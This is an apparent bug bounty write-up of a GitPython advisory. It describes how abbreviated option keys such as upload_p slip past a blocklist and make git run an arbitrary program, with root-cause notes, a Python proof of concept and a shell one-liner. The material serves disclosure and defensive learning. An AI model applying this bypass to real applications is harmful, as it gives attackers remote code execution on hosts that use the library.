# GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

GitPython's blocklist for dangerous git options used exact-match canonicalization, so abbreviated kwargs like upload_p resolved to --upload-pack in git and achieved command injection.

- Payout: Research
- Severity: high
- Program: GitPython
- Found by (vendor credit): hackkim, abhiprd2000
- Found by: hackkim, abhiprd2000
- Disclosed: 2026-07-21
- CVE: CVE-2026-67325
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-2f96-g7mh-g2hx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-2f96-g7mh-g2hx
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** GitPython library option canonicalizer / git CLI invocation
**Root cause:** check_unsafe_options canonicalizes only underscore→hyphen and does exact dict lookup, while git accepts any unambiguous long-option prefix, so abbreviated keys miss the blocklist and reach git as the blocked option.
**Steps:**
1. Note guard normalizes only `_`→`-` and does exact-match against blocked options.
2. Pass an abbreviated kwarg key such as `upload_p` to `Repo.clone_from(bare, out, upload_p=prog)`.
3. transform_kwarg emits `--upload-p=<prog>`, which git resolves to `--upload-pack=<prog>` and executes.
4. Payload script runs (marker file created) before git aborts with GitCommandError.
**How found:** Reviewed the 3.1.47 fix for CVE-2026-42215, observed the guard models only one normalization axis (underscore→hyphen) with exact-match lookup, and hypothesized git's broader CLI grammar (prefix abbreviation) would slip through; verified with a local bare-repo PoC.
**Exploitation:** Host application must flow attacker-controlled kwarg keys into clone/fetch/pull/push. Attacker supplies key `upload_p` (or `receive_p`, `exe`) with a path to an executable; git resolves the abbreviation to --upload-pack/--receive-pack/--exec and runs the program, yielding RCE despite allow_unsafe_options=False.
**Insight:** When a security guard models a CLI parser, enumerate the parser's full grammar — prefix abbreviation, `=` vs space, `--` terminator, case — not just the one transformation the fix applied; test every blocked option's shortest unambiguous prefix.

## Proof of concept (copied exactly from the original report)

**Python PoC clone with upload_p kwarg**

```
import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:", os.path.exists(marker))  # True -> command injection confirmed
```

**Shell equivalent abbreviated upload-pack clone**

```
git clone --upload-p=/tmp/evil.sh src out
```

